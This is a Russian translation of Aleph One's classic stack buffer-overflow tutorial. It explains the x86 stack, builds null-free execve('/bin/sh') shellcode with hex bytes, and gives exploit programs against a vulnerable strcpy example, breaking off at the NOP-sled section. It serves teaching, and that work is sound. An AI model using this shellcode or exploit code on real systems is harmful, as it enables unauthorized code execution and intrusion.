ТЕОРИЯ АТАК ПЕРЕПОЛНЕНИЯ БУФЕРА(1) Теория атак срыва стека by Aleph One aleph1@underground.org Особенности реализации языка C допускают возможность вмешательства в работу стека программы в случае, когда размеры передаваемого в стек массива и выделенной автоматически под него в стеке памяти не соответствуют друг другу. Результат работы программ, использующих эти особенности - передача управления участку кода с произвольным адресом внутри адресного пространства процесса. Вступление: В настоящее время использование ошибок связанных с переполнением буфера является одной из наиболее прогрессивных технологий проникновения в защищенные системы.В данной статье проводится наиболее развернутое исследование атак срыва стека. Это частный, наиболее распространенный случай, использования ошибок переполнения буфера.Начнем с некоторых базовых понятий: буфер - участок памяти, содержащий последовательно расположенные однотипные данные. Программисты С, как правило, ассоциируют с буфером массив. Массивы, как и все переменные в С, могут быть динамическими или статическими. Статические переменные во время загрузки программы располагаются в сегменте данных, динамические - в стеке. Мы будем рассматривать переполнение только динамических буферов. Организация процессов в памяти Чтобы понять, что такое буферы в стеке необходимо сначала представлять себе, как происходит организация процессов в памяти. Адресное пространства процесса можно разделить на 3 сегмента: сегмент кода(Text), сегмент данных(Data) и сегмент стека(Stack).Мы будем рассматривать в основном сегмент стека, но для начала сделаем небольшой обзор остальных сегментов. Сегмент кода является неизменной частью программы и содержит непосредственно инструкции машинного кода. Этот сегмент, как правило, доступен только для чтения, и попытка записи в его адресное пространство вызывает segmentation violation. Сегмент данных содержит проинициализированные и не проинициализированные данные. Здесь хранятся статические переменные.Размер этого сегмента может быть изменен с помощью системного вызова brk(). Если размер пользовательских данных(data-bss) или стека, определенного пользователем, по мере работы процесса превышает объем первоначально выделенной процессу памяти, то он блокируется и возобновляет свою работу в новом пространстве, для которого ОС выделяет дополнительную память. Она распределяется между сегментами данных и стека. исполнимый код нижние адреса памяти (проинициализированные) Данные (непроинициализированные) Стек верхние адреса памяти Рис. 1 Структура памяти процесса Что такое стек? Стек - это абстрактный тип данных, с определенными свойствами. Последний помещенный в стек объект извлекается из него первым. Такая схема называется LIFO (last in first out - последний вошел, первый вышел). Над данными в стеке определены операции Push и Pop.Push помещает элемент данных в вершину стека. Pop, наоборот, уменьшает размер стека на единицу, удаляя последний элемент из его вершины. Для чего применяется стек? В современных языках высокого уровня используется принцип структурного программирования - вся программа разбивается на процедуры и/или функции. С одной точки зрения вызов функции изменяет ход выполнения программы подобно оператору goto, но отличается от него тем, что, закончив свою работу, функция возвращает управление участку кода, расположенному сразу после своего вызова.Стек позволяет сделать прозрачным для разработчика особенности реализации вызова функций.Это дает новый уровень абстракции программирования.Стек применяется для динамического размещения локальных переменных в функциях, передачи параметров в функцию и получения результатов ее работы. Сегмент стека Регистр SP (stack pointer - указатель стека) указывает на вершину стека, адрес которой меняется. Основание стека - фиксированный адрес памяти.Размер стека динамически контролируется ядром.Операции push и pop непосредственно реализованы в процессоре.Стек логически подразделяется на фреймы, которые состоят из параметров, передающихся в функцию, локальных переменных функции и данных, необходимых для возврата в основную функцию. В зависимости от реализации, стек может расти либо вверх, либо вниз ( используя адреса памяти в сторону уменьшения ).В наших примерах будет подразумеваться, что стек растет вниз.Этот вариант используется в процессорах Intel, Motorola, SPARC и MIPS.На что указывает SP, также зависит от реализации.Это может быть либо на последний элемент стека либо на следующий свободный адрес.Мы будем использовать первый вариант. Итак,SP будет указывать на вершину стека (наименьшее значение из адресов памяти, используемых под стек).Часто удобно иметь указатель на какой-либо адрес внутри фрейма(FP frаme pointer).Некоторые источники называют его LB(local base ponter). Вообще, абсолютный адрес в стеке локальных переменных может быть получен с помощью смещения относительно SP. Однако по мере записи и чтения из стека эти смещения изменяются. Несмотря на то, что компилятор следит за количеством данных в стеке и соответственно корректирует эти смещения, бывают ситуации, когда это становится невозможным, и требуется дополнительное вмешательство. К тому же для некоторых процессоров (например ,Intel) , доступ к переменной с известным смещением требует нескольких операций. Поэтому многие компиляторы используют второй регистр ,FP, для ссылки на локальные переменные и параметры, так как их смещение относительно FP не изменяется по мере использования операций push и pop.В процессорах Intel для этой цели используется регистр BP( EBP ), в Motorola - для этого можно использовать любой адресный регистр,кроме А7.Поскольку в нашем случае стек растет вниз, то смещения для доступа к параметрам будут положительными,а для локальных переменных относительно FP отрицательными. Первое, что должна сделать функция, после своего вызова - сохранить предыдущее значение FP, иначе оно не сможет быть восстановлено после того, как она отработает. Затем происходит копирование SP в FP с целью создания нового FP и уменьшается значение SP для резервирования места под локальные переменные функции.Этот алгоритм называет входом в процедуру.После завершения работы функции стек должен иметь первоначальный вид.Рассмотрим, как он выглядит на простом примере: example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ код, в который была транслирована функция function(). Чтобы разобраться в том, что программа делает при вызове function(), мы скомпилируем ее gcc c опцией -S ,которая дает на выходе ассемблерный код. $ gcc -S -o example1.s example1.c Ассемблерный код: pushl $3 pushl $2 pushl $1 call function Здесь три аргумента сначала заносятся в стек, затем происходит вызов функции (call), который также записывает значение IP(instruction pointer)в стек.Это значение мы будем называть адресом возврата(RET).Первое, что делает вызванная функция - реализует описанный алгоритм входа: pushl %ebp movl %esp,%ebp subl $20,%esp Здесь происходит запись EBP в стек, копирование SP в EBP (создается новый FP, который мы назовем SFP).Затем уменьшением значения SP, резервируется место под локальные переменные. Мы должны помнить, что память в стеке адресуется словами (в нашем случае слово - 32 бита), т.е. чтение и запись происходит блоками по 4 байта.Поэтому буфер из 5 байт потребует 8 байт (два слова) памяти, из 10 байт - соответственно 12 байт (три слова).Вот почему из SP вычитается 20.С учетом всего этого, стек при вызове function() выглядит следующим образом (каждый пробел обозначает байт): нижние адреса памяти верхние адреса памяти buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] верхушка стека основание стека Переполнение буфера. Переполнение буфера - результат помещения в буфер объема данных большего, чем тот, на который он рассчитан. Как же эту ошибку можно использовать для исполнения произвольного кода в контексте программы? Вот пример: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ В этой программе присутствует типичная ошибка переполнения буфера. В функции происходит копирование переданную ей строку без проверки ее размера (используется strcpy() вместо strncpy()).В результате мы получаем segmentation violation. Давайте посмотрим на стек: нижние адреса памяти верхние адреса памяти buffer sfp ret *str <------ [ ][ ][ ][ ] верхушка стека основание стека Что здесь происходит? Почему мы получаем segmentation violation? Объясняется все просто: strcpy() копирует содержимое *str(larger_string[]) в буфер buffer[], пока не встретится null byte ('\0').Размер buffer[] меньше, чем *str(16 байт против 256).Это значит, что 250 байт памяти ,идущие за буфером и не имеющих никакого к нему отношения, будут перезаписаны.В их число войдут SFP, RET и даже *str. Мы заполнили large_string символами 'А'(шестнадцатеричное значение 0х41).Это значит, что адрес возврата теперь 0x41414141.Это значение выходит за пределы адресного пространства процесса.Вот почему, когда происходит возврат из функции ,то попытка выполнить очередную инструкцию по этому адресу приводит к segmentation violation. Таким вот образом переполнение буфера позволяет изменить адрес возврата из функции и становится возможным изменить ход выполнения программы. Давайте попытаемся изменить нашу первую программу таким образом , чтобы она перезаписывала адрес возврата.Перед buffer1[] в стеке находится SFP , перед ним RET, т.е. он находится на расстоянии 4 байт от buffer1[].Мы изменим значение RET так, чтобы в результате присваивание "х=1;" было пропущено.Для этого прибавим к RET 8 байт: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ Все что мы сделали - прибавили 12 к адресу массива buffer1[].Полученный новый адрес - адрес возврата(RET). Нам надо пропустить присваивание, чтобы по выходу из функции выполнение программы продолжилось с printf.Разъясним, как мы узнали, что этого необходимо прибавить к значению RET именно 8 байт? Для этого скомпилируем программу и запустим gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 < function> 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 < printf> 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Мы видим, что при вызове функции function() RET получает значение 0x8004a8.Мы хотим пропустить присваивание и передать управление сразу на адрес 0x8004b2.Разность этих значений дает 8 байт. Шелкод Теперь зная технологию получения нужного значения RET, какой свой код исполнить? В большинстве случаев это будет запуск shell, который позволит далее выполнять любые команды. Но что, если такого кода нет в программе, которую мы хотим заэксплойтить? Каким образом можно поместить произвольный код в ее адресное пространство? Необходимо записать его в буфер, подвергаемый переполнению и перезаписать RET таким образом, чтобы он указывал назад, на какой-то адрес в буфере.В предположении, что начало стека имеет адрес 0xFF , S - произвольный код, который мы хотим исполнить, стек выглядит так: нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| вершина основание стека стека Код запускающий shell на С будет таким: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ Чтобы узнать, как он выглядит на ассемблере, мы скомпилируем его и используем gdb. Обратите внимание, что gdb надо запускать с флагом -static ,иначе код, исполняющийся в результате системного вызова execve, не будет показан. На его месте будет ссылка на динамическую библиотеку С, подсоединяющуюся во время загрузки программы на выполнение. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Разберемся, как это работает. Начнем рассмотрение с main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp ------------------------------------------------------------------------------ Это начало процедуры.Сначало сохраняется старое значение FP, текущее значение SP становится новым значением FP и резервируется место под локальные переменные.Теперь ими будут 2 указателя на char: char *name[2]; Указатели имеют длину в слово , поэтому резервируется 8 байт. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Мы копируем значение 0x80027b8 (адрес строки "/bin/sh") в первый элемент массива name[]: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) второму указателю в массиве name[] присваиваем значение 0х0 ( NULL ): name[1] = NULL; Вызов execve() происходит здесь: 0x8000144 : pushl $0x0 Мы заносим аргументы execve() в стек в обратнои порядке.Начинаем с NULL: 0x8000146 : leal 0xfffffff8(%ebp),%eax Заносим адрес name[] в регистр EAX 0x8000149 : pushl %eax Помещаем адрес name[] в стек 0x800014a : movl 0xfffffff8(%ebp),%eax Заносим адрес строки "/bin/sh" в регистр EAX 0x800014d : pushl %eax Помещаем адрес строки "/bin/sh" в стек 0x800014e : call 0x80002bc <__execve> Вызываем библиотечную функцию execve().Команда вызова call помещает в стек значение IP. ------------------------------------------------------------------------------ Теперь execve(). Напоминаю, что примеры рассчитаны на использование ОС Linux под процессоры Intel.Особенности системного вызова меняются от одной ОС к другой и от одного процессора к другому.Некоторые ОС передают аргументы через стек, другие через регистры.Одни используют для системных вызовов программные прерывания, другие - дальние переходы (far call).Linux передает аргументы системному вызову через регистры и использует программные прерывания для его вызова. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Начало процедуры 0x80002c0 <__execve+4>: movl $0xb,%eax Копирует 0xb( десятичное 11) в стек.Это индекс в таблице системных вызовов для execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Копирует адрес строки "/bin/sh" в регистр EBX 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Копирует адрес nmae[] в регистр ECX 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Копирует адрес нулевого указателя в регистр EDX 0x80002ce <__execve+18>: int $0x80 Производится системный вызов. ------------------------------------------------------------------------------ Таким образом, мы видим, что размер кода для вызова execve() не велик. Вот все что необходимо сделать: a) расположить где-нибудь в адресном пространстве процесса строку "/bin/sh" ,за которой идет null b) расположить где-нибудь в адресном пространстве процесса адрес строки "/bin/sh" ,за которой идет long word null c) скопировать 0xb в регистр EAX d) скопировать адрес адреса строки "/bin/sh" в регистр EBX e) скопировать адрес строки "/bin/sh" регистр ECX f) скопировать адрес null long word в регистр EDX g) вызвать прерывание int $0x80 Но что, если вызов execve() по каким-либо причинам не сработает? В этом случае программа продолжит выбирать из стека инструкции, содержащие произвольные данные, что вызовет core dump.Мы хотим, чтобы программа завершалась корректно,даже если вызов execve() будет неудачным. Для этого надо добавить системный вызов exit после execve.Выглядит он так: exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ Системный вызов exit запишет в регистр EAX значение 0x1, поместит код возврата в EBX и вызовет прерывание "int 0x80". Большинство приложений, при нормальном завершении, на выходе возвращают 0. Мы поместим значение 0 в регистр EBX. Соответственно окончательный алгоритм: a) расположить где-нибудь в адресном пространстве процесса строку "/bin/sh" ,за которой идет ull b) расположить где-нибуть в адресном пространстве процесса адрес строки "/bin/sh" ,за кторй идет long word null c) скопировать 0xb в регистр EAX d) скопировать адрес адреса строки "/bin/sh" в регистр EBX e) скопировать адрес строки "/bin/sh" регистр ECX f) скопировать адрес null long word в регистр EDX g) вызвать прерывание int $0x80 h) записать 0x1 в регистр EAX i) записать 0x0 в регистр EBX j) вызвать прерывание int $0x80 Переведем это в ассемблерный код, в его конец поместим строку /bin/sh , запомним, что на ее место потом встанет ее адрес и далее - null word. ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ Проблема в том, что неизвестно, в какое место адресного пространства процесса мы должны поместить наш код. Один из способов решения - использование команд JMP и СALL, для которых допускается относительная адресация, т.е можно передать управление, используя смещение от текущего значения IP, следовательно, нет необходимости знать абсолютный адрес перехода. Если мы поместим команду CALL перед строкой "/bin/sh" и затем команду JMP на нее, то когда выполнится CALL, адрес строки будет помешен в стек на место адреса возврата. Команда CALL может просто передать управление нашему коду.Пусть, J обозначает JMP, C соответственно CALL , s - cтроку. Схема шелкода теперь будет выглядеть следующим образом: нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) вершина стека основание стека Учитывая изменения, схематично обозначая адресацию, указывая, сколько байт занимает каждая инструкция, получаем: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Вычисление смещений от jmp до call, от call до popl, от адреса строки до массива и от адреса строки до null long word дают следующее: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Результат выглядит неплохо. Чтобы убедиться в его работоспособности, необходимо скомпилировать программу и исполнить. В связи с этим появляется очередная проблема.Наш код самомодифицирующийся, но большинство ОС помечают исполнимый код в адресном пространстве процесса как read only.Поэтому шелкод необходимо поместить в сегмент данных или стека и соответственно туда передать управление.Поместим наш код в глобальный массив сегмента данных.Сначала нам необходимо получить шестнадцатеричное представление кода.После компиляции мы получим его с помощью gdb. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Работает! Но снова есть препятствие. В большинстве случаев мы будем пытаться использовать переполнение буфера, который представляет собой массив типа char, поэтому при копировании его в стек любой null byte ("\0") будет рассматриваться как конец строки и копирование будет остановлено. Избавимся от этих символов: проблемная команда: заменяющая ее команда: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Итак улучшенный код: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ Тест работоспособности шелкода: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ ТЕОРИЯ АТАК ПЕРЕПОЛНЕНИЯ БУФЕРА(2) Написание exploit'a Настало время соединить все части вместе.У нас есть шелкод. Известно, что он должен быть частью строки ,которую мы будем использовать для переполнения буфера.Получаем: overflow1.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer,large_string); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ------------------------------------------------------------------------------ Заполняем массив large_string[] адресом буфера buffer[] ,который указывает, где будет располагаться наш код. Затем шелкод копируется в начало строки large_string.Далее функцией strcpy() cтрока large_string cкопируется в буфер без каких-либо проверок и перезапишет адрес возврата адресом шелкода.Как только отработает функция main и будет произведена попытка возврата из нее, управление передастся шелкоду. Проблема, с которой мы столкнулись - выяснение адреса расположения шелкода, который он получит, когда строка переполнения буфера будет помещена в стек .Ее решение - начальный адрес стека при запуске каждого нового приложения будет одним и тем же.Большинство программ не помешают в стек больше нескольких сотен или тысяч байт. Поэтому зная, где он начинается, мы можем угадать примерное расположение буфера, который будем переполнять. Приведенная ниже программа возвращает значение SP, которое получает любая программа в данной системе при своем запуске. sp.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main() { printf("0x%x\n", get_sp()); } ------------------------------------------------------------------------------ [aleph1]$ ./sp 0x8000470 [aleph1]$ ------------------------------------------------------------------------------ Для определенности будем считать, что уязвимая для атаки переполнения буфера программа выглядит так: vulnerable.c ------------------------------------------------------------------------------ void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } ------------------------------------------------------------------------------ Мы можем написать программу, которой будут передается параметрами размер буфера и смещение относительно ее собственного IP.Для удобства строку, переполняющую буфер, поместим в переменную окружения: exploit2.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Теперь попытаемся угадать, какими должны быть размер буфера и смещения: ------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG [aleph1]$ exit [aleph1]$ ./exploit2 600 Using address: 0xbffffdb4 [aleph1]$ ./vulnerable $EGG Illegal instruction [aleph1]$ exit [aleph1]$ ./exploit2 600 100 Using address: 0xbffffd4c [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit [aleph1]$ ./exploit2 600 200 Using address: 0xbffffce8 [aleph1]$ ./vulnerable $EGG Segmentation fault [aleph1]$ exit . . . [aleph1]$ ./exploit2 600 1564 Using address: 0xbffff794 [aleph1]$ ./vulnerable $EGG $ ------------------------------------------------------------------------------ Очевидно, что процесс угадывания далеко не эффективен. Попытки угадать значение смещения, даже зная адреса начала стека, не дают удовлетворительного результата.Нижняя грань необходимого количества попыток исчисляется сотнями,верхняя - тысячами.Проблема в том, что мы пытаемся угадать точный адреса начала нашего кода.Если это значение будет отличаться хотя бы на один байт, то результатом будут - segmentation violation или incorrect instruction. Единственный способ повысить вероятность угадывания - заполнить начало переполняющего буфер кода инструкцией NOP ,эквивалентной пустому оператору.Она есть почти во всех процессорах и обычно используется для создания задержек при выполнении программы.Заполним ею половину нашего 